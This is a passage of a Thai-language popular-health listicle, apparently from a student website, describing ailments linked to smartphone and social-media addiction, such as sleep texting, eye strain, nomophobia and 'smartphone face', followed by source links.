    เรียกได้ว่าเป็นอาการที่เกิดขึ้นจากการพิมพ์ข้อความแชทในมือถือของผู้ที่เข้าขั้น "ติด" อาการนี้จะเกิดขึ้นในขณะหลับ เมื่อมีเสียงข้อความมือถือดังขึ้น จะมีการพิมพ์ข้อความกลับอัตโนมัติในสภาพกึงหลับกึ่งตื่น และถ้าหากเป็นอย่างนี้ไปสักพักอาจทำให้มีภาวะโรคอื่นๆตามมาด้วย
  3. โรควุ้นในตาเสื่อม

    มักจะเกิดกับผู้ที่ใช้สายตากับแสงคอมพิวเตอร์หรือโทรศัพท์มากๆหลายชั่วโมงต่อวัน จะทำให้มีปัญหาทางสายตาในเริ่มต้น และสุดท้ายอาจทำให้ตาบอดเลยก็ได้
  4. โนโมโฟเบีย

    เป็นโรคที่หากว่าไม่ได้ใช้ social network หรือโทรศัพท์นานๆ จะเกิดอาการวิตกกังวล มักจะเป็นกับคนที่ติดสมาทโฟน หรือโลก social มากๆ
  5. สมาร์ทโฟนเฟซ

    เป็นโรคที่เกิดจากการก้มเล่นสมาทโฟน โดยหากเล่นสมาทโฟนในท่านี้นานๆมักจะทำให้เกิดอาการเกร็งบริเวณกล้ามเนื้อช่วงคอ และเพิ่มแรงกดตรงแก้ม หากเป็นเช่นนี้นานๆ อาจทำให้เกิดโรคอื่นๆตามมาได้
ที่มา https://sites.google.com/site/khawsanetc7/rokh-thi-keid-cak-kar-tid-so-cheiy-l



ที่มา
https://sites.google.com/site/khawsanetc7/rokh-thi-keid-cak-kar-tid-so-cheiy-l
https://sites.google.com/site/socialnetworkfc/social-network-khux-xari